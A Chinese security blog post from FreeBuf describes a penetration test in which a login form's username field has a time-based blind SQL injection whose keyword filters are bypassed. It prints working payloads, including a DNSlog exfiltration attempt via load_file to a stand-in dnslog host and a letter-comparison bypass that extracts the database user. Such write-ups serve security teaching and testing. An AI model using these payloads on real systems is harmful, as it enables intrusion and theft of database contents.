freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

99+
安全技术 | 一次众测实战sql注入绕过
锦行科技 2020-12-22 14:05:16 339618

SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。本文由锦行科技的安全研究团队提供,旨在帮助客户理解sql注入绕过的问题。

测试背景

在一次测试过程中,发现登陆框的用户名处存在延时注入。

开启bp抓包,随便输入用户名和密码,点击登陆,抓到以下数据包

经测试,Uname参数存在sql延时注入

在后面加上

'and(select*from(select+sleep(5))a)and'a'='

发现延迟10秒

在后面加上

'and(select*from(select+sleep(3))a)and'a'='

发现延迟6秒

根据上面图可知,sleep(5)时,回显时间为10秒;sleep(3)时,回显时间为6秒,明显存在sql注入,猜测数据库做了两次查询或者查到了两条相同的数据。

测试过程

再确定存在注入点之后,之后使用sqlmap来跑数据,发现没办法顺利注入,可能存在拦截或者过滤。所以只能靠手工去测试发现问题。

a. 使用'and(select*from(select+sleep(if(1=1,1,3)))a)and'a'='去测试,发现延迟两秒,说明if函数没有被拦截。

b. 继续使用'and(select*from(select+sleep(if(user()='a',1,3)))a)and'a'='去测试,发现延迟六秒,说明user函数没有被拦截

c. 继续使用'and(select*from(select+sleep(if(substr(user(),1,1)='a',1,3)))a)and'a'='去测试,发现没延迟,说明substr被拦截了,接着我使用mid、substring来替换substr函数均被拦截

d. 继续使用'and(select*from(select+sleep(if(user()+like+'a%25',1,3)))a)and'a'='去测试,发现没延迟,说明mid、substring、like被拦截了

看到这些关键函数都没拦截了,通过if截断的方法来测试是没戏了,那就试下通过dnslog外带的方式把数据给带出去。

e. 使用payload:'and(select*from(select+sleep(load_file(concat('//',(select user()),'.xxx.dnslog.cn/abc'

))))a)and'a'=',发现dnslog平台也没反应

最后经过各种测试,发现通过逐字母比较ascii码的方法能绕过上面所述的代码层的拦截,所以要用如下这种方法绕过。

具体注入payload如下:

'and(select*from(select+sleep(if(user()>'d',3,0)))a)and'a'='

用如上payload的意思是比较用户名的第一位的ascii码是不是大于或者等于d的ascii码

Ascii码表如下:

在数据库中测试:

依次从左到右比较ascii码,比如拿select ‘rooT’>’ro’来说,因为它们两的前两位相等,会比较到第三位,rooT的第三位为o,而ro的第三位是空,所以rooT当然大于ro。

测试结论

根据上面情况,我们判断用户名第一位字母的时候,可以分为如下3步

步骤一

payload:

'and(select*from(select+sleep(if(user()>'c',3,0)))a)and'a'=' ,

延迟为6秒,说明为true,用户名的第一位字母的ascii码对应大于或等于c字母的ascii码,即大于或等于99

步骤二:

当payload为

'and(select*from(select+sleep(if(user()>'d',3,0)))a)and'a'=' ,

延迟为6秒,说明也为true,用户名的第一位字母的ascii码对应大于或等于d字母的ascii码,即大于或等于100

步骤三:

当payload为'and(select*from(select+sleep(if(user()>'e',3,0)))a)and'a'=' ,

延迟为0秒,说明为false,用户名的第一位字母的ascii码对应小于e字母的ascii码,即小于101

最后根据结果分析:

根据步骤二,用户名第一位字母的ascii码大于或者等于100;

根据步骤三,用户名的第一位字母的ascii码小于101,

最后得出用户名第一位字母的ascii码为100,即字母d.

依次类推,最后得出用户名为dctok

# 漏洞分析 # 技术文章
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 锦行科技 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
锦行科技 LV.4
这家伙太懒了,还未填写个人描述!
  • 33 文章数
  • 13 关注者
Java代审1:Maven基础知识
2021-12-23
技术分享 | DLL注入之远线程注入
2021-10-13
技术分享 | DLL注入之全局钩子注入
2021-09-07
文章目录